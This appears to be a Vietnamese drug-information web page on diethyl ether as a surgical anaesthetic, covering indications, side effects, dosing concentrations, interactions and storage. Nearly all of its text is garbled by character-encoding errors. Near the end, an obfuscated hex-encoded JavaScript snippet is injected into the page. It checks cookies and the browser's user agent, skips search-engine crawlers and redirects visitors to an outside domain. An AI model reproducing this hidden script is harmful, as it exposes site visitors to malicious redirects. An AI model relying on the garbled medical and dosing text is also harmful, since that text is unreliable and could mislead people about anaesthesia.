ETHER MAS GA?y mA?.

ETHER MÊ Gây mê.

Tracuuthuoctay chia sa?i?? bAi??i via??t ETHER MAS GA?y mA?.Ai??lAi?? gAi??? giA? thuai??i??c bao nhiA?u? chai??i?? Ai??ai??i??nh, cA?ch sai??i?? dai???ng, tA?c dai???ng phai??? thuai??i??c ETHER MAS Khai??Yi mA? vAi?? duy trAi?? mA? trong phA?I?u thuA?I?t

ETHER MAS GA?y mA?.

TA?n quA?I?c tA?I?: Diethylether, ether.

Loa??i thuA?I?c: GA?y mA?.

GiA? thuai??i??cAi??ETHER MASAi??Ai??BAi??nh lua?i??n cuai??i??i bAi??i via??t Ai??ai??? Ai???i??ai???c thA?ng bA?o giA?

Da??ng thuA?I?c vAi?? hAi??m l?i??ai???ng

Ether mA? th?i??ai???ng Ai???i??ai???c Ai??A?ng chai thai??i??y tinh, nA?t bA?Ii??n chai??i??a 120 ml. Ether cA? hAi??m l?i??ai???ng 96% Ai??A?I?n 98% diethyl ether.

TA?c dai???ng

Ether cA? tA?c dai???ng gA?y mA?, vAi?? giA?n c??.

Chai??i?? Ai??ai??i??nh thuai??i??c ETHER MAS

Khai??Yi mA? vAi?? duy trAi?? mA? trong phA?I?u thuA?I?t.

ChA?I?ng chai??i?? Ai??ai??i??nh

  • A?A?i thA?o Ai???i??ai???ng, suy thA?I?n, cA?c bA?I?nh vA?Ii?? gan na?i??ng.
  • Tra??ng thA?i sA?I?t cA? thA?Ii?? gA?y co giA?I?t, Ai??a?i??c biA?I?t ai??Y tra?i?? em vAi?? ng?i??ai???i Ai??A? dA?ng atropin.
  • TA?ng A?p lai??i??c nA?I?i sai???.

Tha?i??n trai???ng

Tra?i?? em sA?I?t sai??i?? dai???ng ether lAi??m tA?ng nguy c?? gA?y co giA?I?t chA?I?t ng?i??ai???i. NA?I?u bai??i?? co giA?I?t pha??i ngai??i??ng ngay ether. NA?n tiA?m tAi??nh ma??ch diazepam hoa?i??c thiopental liA?Ii??u thA?I?p cho Ai??A?I?n khi ngai??i??ng c??n co giA?I?t.

Ether rA?I?t dA?I? bay h??i vAi?? rA?I?t dA?I? chA?y.

Thai???i kai??? mang thai

Chai??i?? dA?ng ether trong thai???i kai??? mang thai khi thA?I?t cA?Ii??n.

Trong cA?c thai??i?? thuA?I?t sa??n khoa, chai??i?? dA?ng liA?Ii??u thA?I?p (khA?ng quA? 4%) Ai??A?Ii?? trA?nh Ai??ai??? tai??i?? cung, cha??y mA?u quA? mai??i??c sau Ai??a?i??, suy hA? hA?I?p ai??Y tra?i?? s?? sinh.

TA?c dai???ng phai???

Sau phA?I?u thuA?I?t, nA?n vAi?? buA?Ii??n nA?n (> 50%).

Th?i??ai???ng ga?i??p

L?i??u l?i??ai???ng tim tA?ng 20%. GiA?n ma??ch vAi??nh. Khi gA?y mA? sA?u, tA?c Ai??A?I?ng lA?n trung tA?m vA?I?n ma??ch, lAi??m gia??m ca?? l?i??u l?i??ai???ng tim vAi?? huyA?I?t A?p.

KAi??ch thAi??ch Ai???i??ai???ng hA? hA?I?p, tiA?I?t nhiA?Ii??u Ai??ai???m rA?i dA?I? gA?y biA?I?n chai??i??ng hA? hA?I?p. Thai???i gian khai??Yi mA? kAi??o dAi??i, nA?n dA?I? cA? cA?c biA?I?n chai??i??ng nguy hiA?Ii??m, nh?i?? co tha??t thanh qua??n, thA?I?m chAi?? ngai??i??ng tim. GA?y mA? sA?u sa?? ai??i??c chA?I? hA? hA?I?p, gA?y mA? nA?ng cA? thA?Ii?? cA? ngai??i??ng thai??Y vAi?? gA?y ho nA?I?u hAi??t vAi??o quA? nhanh.

KAi??ch thAi??ch khai??Yi mA?, giA?n ma??ch nA?o, tA?ng l?i??u l?i??ai???ng mA?u nA?o vAi?? A?p suA?I?t nA?I?i sai???, gia??m nhA?n A?p, giA?n Ai??A?Ii??ng tai??i??.

Gia??m nhu Ai??A?I?ng da?? dAi??y – ruA?I?t, thuA?I?c gA?y tA?ng tiA?I?t n?i??ai??i??c dA?i vAi?? n?i??ai??i??c ma??t.

Gia??m dA?ng mA?u qua thA?I?n vAi?? mai??i??c lai???c cA?Ii??u thA?I?n, n?i??ai??i??c tiA?Ii??u cA? Ai??a?i??c gA?y albumin niA?I?u. Gia??m tr?i????ng lai??i??c tai??i?? cung ai??Y ng?i??ai???i mang thai.

Ether kAi??ch thAi??ch tA?n ta??o glucose vAi?? cA? thA?Ii?? gA?y tA?ng Ai???i??ai???ng huyA?I?t.

Ai??t ga?i??p

TA?ng tiA?I?t n?i??ai??i??c bai???t, nA?n dA?ng chA?I?t chA?I?ng tiA?I?t n?i??ai??i??c bai???t tr?i??ai??i??c Ai??A?. Co giA?I?t vAi?? run rA?Ii??y sau phA?I?u thuA?I?t.

Loa??n nhai??i??p.

GiA?n phA?I? qua??n khA?ng tA?ng tiA?I?t dai??i??ch phA?I? qua??n.

GiA?I?t rung, ai??i??c chA?I? hAi??nh nA?o nA?I?u gA?y mA? sA?u.

Suy gia??m nhA?I?t thai???i chai??i??c nA?ng gan, vAi?? tiA?I?t mA?I?t. Co bA?p lA?ch.

NhiA?I?m acid chuyA?Ii??n hA?a ai??Y tra?i?? nhai??? vAi?? ai??Y ng?i??ai???i bA?I?nh khA?ng chai??i??u Ai???i??ai???c tAi??nh tra??ng tA?ng lactat.

LiA?Ii??u l?i??ai???ng vAi?? cA?ch dA?ng

Ether lAi?? thuA?I?c gA?y mA? Ai??A?Ii?? hAi??t. DA?ng ether cA?Ii??n cA? bA?Ii??u bA?I?c h??i. A?A?i khi khA?Ii??n cA?I?p, pha??i nhai??? giai???t tha??ng vAi??o ma?i??t na?? cA? phai??i?? cA?c lai??i??p ga??c. Tr?i??ai??i??c Ai??A?, nA?n dA?ng atropin Ai??A?Ii?? gia??m tiA?I?t n?i??ai??i??c bai???t vAi?? dai??i??ch phA?I? qua??n. NA?Ii??ng Ai??A?I? khAi?? hAi??t vAi??o khA?ng quA? 15%. GA?y mA? nha?? dA?ng nA?Ii??ng Ai??A?I? 3 – 5%. GA?y mA? sA?u nA?Ii??ng Ai??A?I? tai??i??i 10% (nA?Ii??ng Ai??A?I? tA?I?i thiA?Ii??u trong phA?I? nang 1,92%).

Da: TiA?I?p xA?c vai??i??i ether kAi??o dAi??i cA? thA?Ii?? gA?y hoa??i tai??i?? mA?.

L?i??u A?: ai??Y Anh, tiA?u chuA?Ii??n nghA?Ii?? nghiA?I?p qui Ai??ai??i??nh: H??i ether mai??i??c d?i??ai??i??i 1500 mg/m3 khA?ng khAi?? (tiA?I?p xA?c nga??n ngAi??y) vAi?? d?i??ai??i??i 1200 mg/m3 khA?ng khAi?? (tiA?I?p xA?c dAi??i ngAi??y).

Ether ra?i?? vAi?? Ai??A?I? an toAi??n rA?I?ng, bai??Yi vA?I?y vA?I?n Ai??A?ng vai trA? quan trai???ng trong gA?y mA?, nhA?I?t lAi?? ai??Y cA?c n?i??ai??i??c nghA?o, cA?c vA?ng mAi?? ngAi??nh gA?y mA? ch?i??a phA?t triA?Ii??n.

T?i????ng tA?c

Ng?i??ai???i bA?I?nh gA?y mA? ba?i??ng ether cA? thA?Ii?? bai??i?? loa??n nhai??i??p tim nA?I?u dA?ng adrenalin vAi?? noradrenalin trai??i?? khi dA?ng liA?Ii??u rA?I?t thA?I?p. Tra?i?? em Ai??t nha??y ca??m h??n.

GA?y mA? an toAi??n h??n nA?I?u ngai??i??ng cA?c thuA?I?c cha??n beta tr?i??ai??i??c khi gA?y mA?. DA?ng atropin Ai??A?Ii?? phA?ng nhai??i??p tim chA?I?m.

Ether lAi??m tA?ng tA?c dai???ng cai??i??a thuA?I?c cha??n thA?Ii??n kinh c?? ai??Y cA?c mai??i??c khA?c nhau. Ether lAi??m tA?ng tA?c dai???ng cai??i??a cA?c thuA?I?c cha??n thA?Ii??n kinh c?? khA?ng khai??i?? cai??i??c. Ether cA? thA?Ii?? lAi??m suy gia??m c?? tim ai??Y ng?i??ai???i bA?I?nh Ai??ang dA?ng thuA?I?c cha??n thai??? thA?Ii?? beta – adrenergic nh?i?? propranolol.

Ba??o qua??n

Ether rA?I?t dA?I? ba??t lai??i??a, dA?I? nA?Ii??, dA?I? bai??i?? oxy hA?a bai??Yi khA?ng khAi?? vAi?? A?nh sA?ng, ta??o thAi??nh peroxyd. Pha??i ba??o qua??n ai??Y nhiA?I?t Ai??A?I? d?i??ai??i??i 15Ai??C trong lai??? kAi??n, khA?, trA?nh A?nh sA?ng. PhA?Ii??n cA?n la??i sau khi dA?ng thai??i??a cA? thA?Ii?? bai??i?? hai???ng rA?I?t nhanh.

Ether lAi??m tan PVC, thA?I?m chAi?? ai??Y nA?Ii??ng Ai??A?I? thA?I?p. KhA?ng dA?ng nA?t, na??p, lai??? chai??i??a vAi?? cA?c Ai??A?Ii?? chai??i??a khA?c ba?i??ng PVC.

QuA? liA?Ii??u vAi?? xai??i?? trAi??

TriA?I?u chai??i??ng quA? liA?Ii??u cA?I?p tAi??nh: TriA?I?u chai??i??ng Ai??A?Ii??u tiA?n lAi?? suy hA? hA?I?p vAi?? sau Ai??A? ngai??i??ng tim. ThA?ng th?i??ai???ng sa?? hA?Ii??i phai???c hA? hA?I?p nA?I?u tiA?I?n hAi??nh ngay thA?ng khAi?? khA?ng liA?n tai???c A?p suA?I?t d?i????ng cA? oxy

Nguai??i??n d?i??ai???c th?i?? quai??i??c gia

Tham kha??o hAi??nh a??nh cA?c dA?ng thuai??i??c ETHER MAS GA?y mA?.

ETHER MAS GA?y mA?. ETHER MAS GA?y mA?.

Vui lA?ng Ai??a?i??t cA?u hai???i vai??? bAi??i via??t ETHER MAS GA?y mA?., chA?ng tA?i sa?? tra?? lai???i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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2 thoughts on “ETHER MAS GA?y mA?.

  1. gai goi ao dai says:

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